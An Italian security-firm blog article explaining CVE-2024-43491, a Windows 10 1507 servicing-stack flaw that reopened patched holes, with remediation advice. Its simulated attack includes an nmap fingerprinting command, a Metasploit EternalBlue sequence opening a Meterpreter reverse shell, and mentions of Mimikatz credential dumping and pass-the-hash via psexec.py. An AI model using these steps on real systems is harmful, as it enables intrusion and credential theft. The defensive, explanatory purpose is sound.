CVE-2024-43491: vulnerabilità critica in Windows 10 LTSB e IoT

Analisi tecnica della vulnerabilità di Windows 10 e le best practices per proteggere i tuoi sistemi da rischi critici di sicurezza.

La sicurezza informatica è una sfida in continua evoluzione, soprattutto per sistemi operativi diffusi come Microsoft Windows. Ogni mese, gli aggiornamenti di sicurezza correggono vulnerabilità che potrebbero essere sfruttate dagli attaccanti per compromettere l’integrità dei sistemi. Tuttavia, non tutte le patch risolvono i problemi senza conseguenze.

1. Cos’è CVE-2024-43491?
2. Come funziona CVE-2024-43491?
3. Impatti e conseguenze
4. Best practices contro CVE-2024-43491

In alcuni casi, un aggiornamento può introdurre nuove vulnerabilità o riaprire falle precedentemente chiuse.
Proprio questa situazione si è verificata in tempi recenti a seguito di un aggiornamento di sicurezza di Windows. Anziché rafforzare la protezione del sistema, questo ha introdotto una nuova criticità: CVE-2024-43491, conosciuta anche come Microsoft Windows Security Update Vulnerability.

Ma come sempre, andiamo con ordine e affrontiamo per gradi l’argomento.

Cos’è CVE-2024-43491?

CVE-2024-43491 è una vulnerabilità di sistema critica intrinseca ai sistemi operativi Windows.
In particolare, questa interessa la build 1507 di Windows 10 nelle edizioni Enterprise 2015 LTSB (Long Term Support Branch) e IoT Enterprise 2015 (nota anche come Windows Embedded). Segnalata da un team di ricercatori indipendenti e in seguito confermata da Microsoft stessa, la falla è emersa durante il ciclo di aggiornamenti di settembre 2024. Al momento della sua classificazione, CVE-2024-43491 ha ricevuto un punteggio pari a 9.8/10 sulla scala CVSS 3.1 (Common Vulnerability Scoring System), che indica un rischio di gravità massima.

Stando alle analisi condotte dal team interno della casa di Redmond, CVE-2024-43491 si è generata a causa di un problema intrinseco al Servicing Stack di Windows: componente responsabile della gestione degli aggiornamenti di sistema. A causa di un bug presente nel suo codice, gli aggiornamenti di sicurezza rilasciati tra marzo e agosto 2024 hanno finito per ripristinare alcune vulnerabilità precedentemente mitigate nei componenti opzionali del sistema. Tale rollback involontario ha provocato una nuova esposizione dei sistemi a una serie di vulnerabilità ormai considerate risolte.

Le implicazioni di CVE-2024-43491 sono a dir poco gravi, in quanto gli aggressori possono sfruttare le vulnerabilità ripristinate per condurre attacchi di tipo ACE (Arbitrary Code Exectution) da remoto, effettuare privilege escalation, o compromettere in toto la stabilità del sistema. Tutto ciò si traduce in un’esposizione a rischi gravissimi per le aziende, le organizzazioni e i privati che non hanno applicato tempestivamente le patch correttive.

Come funziona CVE-2024-43491?

Come illustrato poc’anzi, CVE-2024-43491 è una delle vulnerabilità più critiche mai apparse in un sistema operativo Microsoft. Questo perché permette agli attori malevoli di riaccedere a entry point critici, che erano stati resi inaccessibili in precedenti aggiornamenti. In tal modo, costoro sono liberi di poterli pienamente sfruttare a proprio vantaggio una seconda volta. Per comprendere la gravità della situazione e il funzionamento di Microsoft Windows Security Update Vulnerability, analizziamola nel dettaglio attraverso una simulazione di attacco.

Individuazione di un sistema vulnerabile

Un cybercriminale, al fine di sfruttare CVE-2024-4391, deve innanzitutto individuare un sistema vulnerabile. La build interessata, Windows 10 1507 (Enterprise 2015 LSTB e IoT Enterprise 2015), è tuttora utilizzata in svariati ambienti aziendali e industriali. Si tratta di realtà in cui gli aggiornamenti non sono applicati in maniera automatica appena disponibili, ma sono gestiti manualmente, o appositamente ritardati per non incidere sulla produzione. Il criminale effettua una ricognizione della rete bersaglio, ricorrendo a strumenti come Nmap o Masscan, al fine di individuare un host con Servicing Stack vulnerabile. Ciò avviene mediante un comando di OS Fingerprinting eseguito mediante Nmap:

nmap -O –script smb-os-discovery

Mediante questo, l’attaccanto verifica verifica la versione esatta del sistema operativo e se il target rientra tra quelli vulnerabili. Alternativamente, può ricorrere a Shodan e individuare sistemi esposti direttamente su Internet. Il tutto filtrando per versioni specifiche di Windows Server Message Block (SMB) o Remote Desktop Protocol (RDP).

Sfruttamento della vulnerabilità

Nel momento in cui un host vulnerabile viene individuato, il criminale può procedere con l’exploit vero e proprio. CVE-2024-43491 ha ripristinato vulnerabilità precedentemente mitigate in moduli critici di Windows, come Windows Installer e i servizi di autenticazione remota. L’aggressore può sfruttare un exploit proof-of-concept (PoC) adattato da vulnerabilità precedenti, eseguendo codice arbitrario da remoto attraverso un pacchetto manipolato. Per far ciò, ricorre al popolare framework Metasploit, al fine di creare un exploit che abbia come target una vulnerabilità intrinseca al Servicing Stack. Il prodotto finale è un payload malevolo che viene eseguito con privilegi elevati.

Un esempio di pseudocodice che potrebbe essere impiegato in contesti reali, è il seguente:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

Questo exploit consente l’esecuzione remota di codice, stabilendo una reverse shell attraverso Meterpreter, il quale garantisce anche un accesso persistente al sistema.

Privilege escalation e persistenza nel sistema

Ottenuto il primo accesso al sistema con privilegi limitati, il cybercriminale punta a effettuare una privilege escalation. Grazie al rollback delle patch involontario provocato da CVE-2024-43491, si possono sfruttare delle vulnerabilità ripristinate nel modulo di autenticazione di Windows. A tal fine, si ricorre al sempreverde Mimikatz, mediante cui l’attaccante è in grado di estrarre credenziali direttamente dalla memoria di sistema.

Se il sistema possiede delle patch obsolete, si può perfino attuare un attacco di tipo Pass-the-Hash. In tal modo l’attore malevolo può impossessarsi degli hash NTLM (NT LAN Manager) e riutilizzarli per autenticarsi su altre macchine presenti nella rete. Sfruttando Impacket e lo script specifico psexec.py, è possibile eseguire comandi con privilegi di amministratore su altri host compromessi.

A questo punto, il controllo del sistema è totale. L’attaccante può installare backdoor, eliminare log di sistema ed effettuare una serie di movimenti laterali nella rete aziendale. Grazie all’accesso persistente al sistema, nulla si frappone tra lui e la possibilità di rubare dati sensibili, sabotare infrastrutture critiche e innescare ulteriori attacchi contro altre entità connesse alla vittima.

Impatti e conseguenze

Come si può evincere da questa simulazione di attacco, le conseguenze derivanti dall’impatto di CVE-2024-43491 sono a dir poco spaventose. Questo perché vengono compromessi alcuni dei componenti fondamentali del sistema operativo, che estendono l’impatto dell’attacco su più livelli.

Le grandi imprese, le PMI e i singoli utenti si trovano esposti a minacce come il furto di dati sensibili, infezioni da malware e ransomware, nonché accessi non autorizzati ai sistemi. Un attacco basato su questa vulnerabilità interrompe le operazioni critiche e facilita i movimenti laterali all’interno della rete, aumentando il rischio di attacchi su larga scala. Inoltre, i sistemi compromessi possono essere utilizzati per campagne di phishing mirato, o inseriti in botnet per attacchi DDoS.

Gli enti pubblici e le istituzioni governative gestiscono infrastrutture strategiche e dati altamente sensibili. Un exploit basato su CVE-2024-43491 può consentire a gruppi Advanced Persistent Threats di esfiltrare informazioni riservate, sabotare operazioni critiche, o lanciare attacchi di spionaggio. Stati-nazione ostili potrebbero sfruttare questa falla per condurre campagne di cyberwarfare, prendendo di mira enti governativi e militari per ottenere vantaggi geopolitici.

Oltre ai danni diretti, questa vulnerabilità comporta conseguenze economiche e reputazionali della massima gravità. Infatti, le aziende colpite subiscono gravi perdite finanziarie a causa di interruzioni operative, costi di incident response e sanzioni per la mancata conformità a normative come GDPR, NIST e ISO 27001. La perdita di fiducia da parte di clienti e investitori influenza negativamente il valore azionario e la credibilità del marchio, con ripercussioni a lungo termine.

Best practices contro CVE-2024-43491

Durante il patch tuesday di settembre 2024, Microsoft ha rilasciato un aggiornamento mirato alla correzione di CVE-2024-43491 e altre 79 vulnerabilità. Tuttavia, l’installazione tempestiva della patch correttiva da sola non è sufficiente a garantire una protezione completa. La vulnerabilità ha evidenziato chiari errori nel Servicing Stack di Windows. Per cui è necessario seguire una serie di best practices, al fine di migliorare la propria sicurezza.

• Aggiornamenti e gestione delle patch.
  Vista la natura della vulnerabilità, è buona prassi adottare una politica di patch management centralizzata, in modo da garantire che tutti i sistemi siano costantemente aggiornati e monitorati.
• Monitoraggio e rilevamento delle minacce.
  L’uso di strumenti EDR (Endpoint Detection and Response), come Microsoft Defender for Endpoint, permette di individuare eventuali tentativi di exploit.
• Gestione degli accessi e segmentazione della rete.
  Una privilege escalation è possibile evitarla solo adottando un modello di Zero Trust Security e una segmentazione efficace della rete. Implementando un rigoroso controllo degli accessi tramite autenticazione multi-fattore (MFA) e principi di least privilege (PoLP) è possibile impedire ogni accesso indesiderato.
• Formazione e consapevolezza di dipendenti e utenti.
  Programmi di security awareness training, uniti a esercitazioni su scenari di attacco realistici, fanno sì che il personale IT e gli utenti finali siano consapevoli delle minacce e delle best practices di sicurezza.
• Condurre vulnerability assessment periodici con esperti qualificati.
  Affidarsi a professionisti qualificati, come quelli di Cyberment, permette di ottenere un vulnerability assessment mirato per rafforzare la protezione delle infrastrutture aziendali.

In conclusione

CVE-2024-43491 dimostra che anche gli aggiornamenti di sicurezza, pur essendo essenziali, possono avere degli effetti collaterali indesiderati. In questo caso, il ripristino di vulnerabilità già corrette ha creato nuove opportunità per i cybercriminali. Questo deve essere un campanello d’allarme per tutte le organizzazioni e gli utenti, poiché non basta solo applicare le patch per essere al sicuro.

Fortunatamente, con gli strumenti giusti e un’attenzione continua, è possibile proteggersi da questi rischi. Non dobbiamo mai abbassare la guardia, ma l’importante è sapere che, anche nei momenti di vulnerabilità, esistono soluzioni per prevenire danni significativi. La chiave è rimanere informati, aggiornati e pronti ad adattarci ai cambiamenti rapidi del mondo digitale.